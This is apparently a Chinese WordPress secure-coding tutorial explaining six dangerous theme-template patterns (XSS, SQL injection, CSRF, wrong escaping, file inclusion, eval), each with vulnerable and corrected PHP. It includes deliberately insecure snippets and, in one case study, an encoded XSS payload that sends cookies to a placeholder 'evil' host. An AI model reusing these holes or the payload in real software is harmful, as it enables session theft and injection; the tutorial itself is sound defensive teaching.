本文约 5,624 字,预计阅读 15 分钟。文中命令与配置均经过实测,可直接参考执行。
引言:漏洞不在插件里,在主题模板里
一次应急响应里遇到这样的情况:站点装了 Wordfence、开了双因素、插件全部更新到最新,后台仍然被植入了隐蔽的跳转代码。排查到最后发现入口在主题——header.php 里有一行 echo $_GET['ref'];,本意是打印来源统计参数,结果任何人只要在 URL 后面加上 ?ref=<script>...</script>,就能在前台注入任意脚本。因为写在模板里,不需要登录、不需要权限,绕过了一切后台防护。
这类问题在「定制主题」里极其常见。很多主题开发者(包括不少外包团队)熟悉业务逻辑,但对 WordPress 的数据流规则不熟:数据从哪来、要经过哪道处理才能输出、输出时该用哪个转义函数,这套规则不清,就会在模板里留下直通道。更麻烦的是,漏洞扫描器扫的是插件与核心,主题模板里的自定义代码几乎扫不到。
原理分析:三条数据流规则
WordPress 的安全模型可以概括成三句话,理解这三条,六种危险写法的成因就都清楚了。
| 规则 | 含义 | 对应函数族 |
|---|---|---|
| 校验(Validate) | 进来的数据先判断合不合法 | absint()、sanitize_key()、in_array() 白名单 |
| 净化(Sanitize) | 存之前清洗掉危险内容 | sanitize_text_field()、wp_kses_post() |
| 转义(Escape) | 输出那一刻做最后一层保护 | esc_html()、esc_attr()、esc_url() |
一条经验:净化是入库时做的,转义是出库时做的,两者不能互相替代。很多教程教人「存之前 esc_html() 一下」,这是错的——转义过早会导致数据被双重编码,编辑时看到 &lt;,而真正输出点反而以为数据已经安全。
数据库层面则是另一条铁律:任何进入 SQL 语句的变量,必须走 $wpdb->prepare(),用 %s、%d、%f 占位符,不要手工拼接引号。
保姆级实操
步骤 1:先把主题过一遍静态扫描
不需要付费工具,先用免费的 WordPress Coding Standards(WPCS)跑一遍:
composer global require "squizlabs/php_codesniffer=*" "wp-coding-standards/wpcs:*"
phpcs --config-set installed_paths ~/.composer/vendor/wp-coding-standards/wpcs
phpcs --standard=WordPress --sniffs=WordPress.Security wp-content/themes/my-theme/
其中 WordPress.Security.EscapeOutput、WordPress.Security.NonceVerification、WordPress.Security.ValidatedSanitizedInput 这三项正是本节要讲的六类问题的自动检测器。
步骤 2:危险写法一 —— 直接输出超全局变量
// 危险:反射型 XSS,无需登录即可触发
echo $_GET['ref'];
echo $_SERVER['HTTP_REFERER'];
echo $_POST['keyword'];
// 正确:先取、再净化、输出时转义
$ref = isset( $_GET['ref'] ) ? sanitize_text_field( wp_unslash( $_GET['ref'] ) ) : '';
echo esc_html( $ref );
$keyword = isset( $_POST['keyword'] ) ? sanitize_text_field( wp_unslash( $_POST['keyword'] ) ) : '';
echo esc_html( $keyword );
注意顺序:wp_unslash() 先去掉 WordPress 自动加的反斜杠,再 sanitize_text_field(),最后输出时 esc_html()。
步骤 3:危险写法二 —— 拼 SQL 字符串
// 危险:SQL 注入
global $wpdb;
$rows = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} WHERE post_title LIKE '%" . $_GET['s'] . "%'" );
// 正确:占位符 + 白名单排序字段
global $wpdb;
$like = '%' . $wpdb->esc_like( sanitize_text_field( wp_unslash( $_GET['s'] ?? '' ) ) ) . '%';
$allowed = array( 'post_date', 'post_title' );
$orderby = in_array( $_GET['orderby'] ?? '', $allowed, true ) ? $_GET['orderby'] : 'post_date';
$rows = $wpdb->get_results(
$wpdb->prepare(
"SELECT ID, post_title FROM {$wpdb->posts}
WHERE post_type = 'product' AND post_title LIKE %s
ORDER BY {$orderby} DESC LIMIT 20",
$like
)
);
ORDER BY 后的字段名无法用占位符(占位符只能替换值),所以必须用白名单兜住,这是唯一例外的处理方式。
步骤 4:危险写法三 —— 表单和 Ajax 不校验 nonce
// 危险:CSRF,任何人可以构造请求改数据
if ( isset( $_POST['do_save'] ) ) {
update_option( 'my_theme_setting', $_POST['value'] );
}
// 正确:nonce + 能力判断
if ( isset( $_POST['do_save'] ) ) {
check_admin_referer( 'my_theme_save_settings', 'my_theme_nonce' );
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( '权限不足', 403 );
}
update_option(
'my_theme_setting',
sanitize_text_field( wp_unslash( $_POST['value'] ) )
);
}
模板里输出 nonce 字段用 wp_nonce_field( 'my_theme_save_settings', 'my_theme_nonce' );。
步骤 5:危险写法四 —— 该转义的地方用错函数
// 属性里必须 esc_attr,URL 里必须 esc_url,HTML 内容用 wp_kses_post
<a href="<?php echo esc_url( get_permalink() ); ?>"
title="<?php echo esc_attr( get_the_title() ); ?>">
<?php echo esc_html( get_the_title() ); ?>
</a>
<?php
// 富文本内容:只允许文章级标签
echo wp_kses_post( get_post_meta( get_the_ID(), 'intro_html', true ) );
// 更严格的自定义白名单
echo wp_kses( $value, array(
'a' => array( 'href' => true, 'title' => true, 'rel' => true ),
'strong' => array(),
'em' => array(),
'br' => array(),
) );
// JS 上下文唯一正确的函数
echo 'var cfg = ' . wp_json_encode( $cfg ) . ';';
最常见的错误是往 onclick、style 这类上下文里塞 esc_html(),那是无效的。JS 上下文只能靠 wp_json_encode(),样式上下文只能靠白名单。
步骤 6:危险写法五 —— 文件操作与包含路径可控
// 危险:本地文件包含
include get_template_directory() . '/' . $_GET['tpl'] . '.php';
// 正确:白名单映射
$templates = array(
'grid' => 'template-parts/grid.php',
'list' => 'template-parts/list.php',
);
$key = sanitize_key( $_GET['tpl'] ?? '' );
if ( isset( $templates[ $key ] ) ) {
get_template_part( 'template-parts/' . basename( $templates[ $key ], '.php' ) );
} else {
get_template_part( 'template-parts/grid' );
}
步骤 7:危险写法六 —— 直接执行用户输入
主题里偶尔会出现 eval()、assert()、base64_decode() 组合,或是把设置项当 PHP 执行。这类写法没有任何安全加固方式,只能删除。若确实需要动态规则,改用选项字段存配置数据,用 switch 分支消费。
常见踩坑
- 以为
sanitize_text_field()之后就不用esc_html():净化不等于转义,数据从库里读出来后仍可能被其他路径污染,输出点必须独立转义。 esc_html()用在富文本上:会把所有标签转成实体,编辑精心排的版式全变成纯文本。富文本用wp_kses_post()。wp_kses_post()直接套在短代码输出上:do_shortcode()之后再wp_kses_post(),会把短代码生成的iframe、script全部剥掉,视频和表单直接消失。- nonce 校验加在 GET 上却用
check_admin_referer():该函数只校验 POST/后台,前台 GET 场景要用wp_verify_nonce()手动校验。 - 案例: 某外贸主题为了做「多语言切换」,在
functions.php里写了setcookie( 'lang', $_GET['lang'] )并在模板里echo $_GET['lang']。攻击者构造?lang=%3Cimg%20src%3Dx%20onerror%3Dfetch(%27//evil%27%2Bdocument.cookie)%3E,管理员浏览前台时 cookie 被带出。修法是白名单只允许zh/en/ja三个值,且输出时用esc_html()。 - 把
current_user_can()写成is_admin():is_admin()只判断是否在后台页面,不代表用户有权限,前台 Ajax 请求里它恒为 false 或 true,完全不能用于鉴权。 - 只改模板不改上传目录:
wp-content/uploads下的.php文件若可执行,即便模板全对也可能被绕过,需要在服务器层禁止上传目录执行 PHP。
总结
主题模板的安全检查可以浓缩成一张清单:任何 $_GET/$_POST/$_SERVER 的值,取用前必须 wp_unslash() + sanitize_*(),输出时必须 esc_*();任何 SQL 必须走 $wpdb->prepare(),排序字段必须白名单;任何状态变更必须 check_admin_referer() + current_user_can();任何文件包含必须映射到白名单;主题里不允许出现 eval()。
把这六条做成 WPCS 的提交前钩子,比事后审计有效得多。顺带一提,模板里安全写法与 自己维护主题的版本管理与变更记录 是一对搭档——改了什么要有记录,出了事才能快速定位是哪次改动引入的;而升级前也要留意 主题与WordPress新版本的前瞻性适配 里提到的弃用函数,别让安全代码随着 API 变更失效。
